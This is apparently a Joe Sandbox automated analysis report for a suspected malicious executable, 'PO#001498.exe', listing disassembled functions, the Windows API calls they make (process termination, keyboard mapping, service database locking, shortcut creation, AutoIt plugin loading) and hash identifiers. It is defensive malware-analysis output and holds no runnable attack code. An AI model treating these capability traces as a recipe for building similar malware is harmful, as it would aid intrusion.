                                                                                                                                                                                                        • API String ID: 3691411573-0
                                                                                                                                                                                                        • Opcode ID: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                                                                        • Instruction ID: ead105b7aa3a144aa2df3f4c31681f961a0d6b706109639263d1a652a664e8ec
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A5118F713046419BDB10DF68DD88A2A77A8FB58322F404A2AFE14DB2D1D775DC498B68
                                                                                                                                                                                                        Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1814673581-0
                                                                                                                                                                                                        • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                                                        • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                                                                                                                                        Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                                        • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                                                                                                                                        • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                                                                                                                                        • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                                                                                                                                        • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2833360925-0
                                                                                                                                                                                                        • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                                                        • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                                                                                                                                        Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                          • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                          • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                        • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                                                                                                                                        • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                                                                                                                                        • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                                                                                                                                        • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                                                                                                                                        • EndPath.GDI32(?), ref: 0044724E
                                                                                                                                                                                                        • StrokePath.GDI32(?), ref: 0044725C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 372113273-0
                                                                                                                                                                                                        • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                                                        • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                                                                                                                                        Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Virtual
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4278518827-0
                                                                                                                                                                                                        • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                                                        • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                                                                                                                                        Function 0044CBD3 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetDC.USER32(00000000), ref: 0044CBEF
                                                                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                                                                                                                                                        • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                                                                                                                                                        • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                                                                                                                                                        • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CapsDevice$Release
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1035833867-0
                                                                                                                                                                                                        • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                                                        • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                                                                                                                                                        Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                                                                                                                                        • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                                                                                                                                                        • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                                                                                                                                        • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                                                                                                                                          • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                                                                                                                                        • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                                                                                                                                        • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3495660284-0
                                                                                                                                                                                                        • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                                                        • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                                                                                                                                        Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                                                                                                                                        • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                                                                                                                                        • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                                                                                                                                        • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                                                                                                                                        • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 839392675-0
                                                                                                                                                                                                        • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                                                        • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                                                                                                                                        Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 00436055
                                                                                                                                                                                                        • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                                                                                                                                        • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                                                                                                                                        • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                                                                                                                                        • GetLastError.KERNEL32 ref: 00436081
                                                                                                                                                                                                        • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1690418490-0
                                                                                                                                                                                                        • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                                                        • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                                                                                                                                        Function 00475ACA Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237comCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                                                        • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                                                                                                                                                        • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                                                                                                                                                        • CoUninitialize.OLE32 ref: 00475D71
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                                                        • String ID: .lnk$HH
                                                                                                                                                                                                        • API String ID: 886957087-3121654589
                                                                                                                                                                                                        • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                                                        • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                                                                                                                                                        Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$Delete$InfoItem_memset
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 1173514356-4108050209
                                                                                                                                                                                                        • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                                                        • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                                                                                                                                        Function 00437CA6 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 107libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                                                                                                                                                        • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                                                        • String ID: AU3_GetPluginDetails$#v
                                                                                                                                                                                                        • API String ID: 145871493-3662034293
                                                                                                                                                                                                        • Opcode ID: e60d032cda8e07fae4321829b238a90b33a1110472f30aca6681d3aeba7a8f27
                                                                                                                                                                                                        • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e60d032cda8e07fae4321829b238a90b33a1110472f30aca6681d3aeba7a8f27
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                                                                                                                                                        Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                                                                                                                                        • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$_wcslen
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 763830540-1403004172
                                                                                                                                                                                                        • Opcode ID: 169cb05da2f7371639be8c7bcea77e944b24e4bfad061a6cd0ac94a92c737455
                                                                                                                                                                                                        • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 169cb05da2f7371639be8c7bcea77e944b24e4bfad061a6cd0ac94a92c737455
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
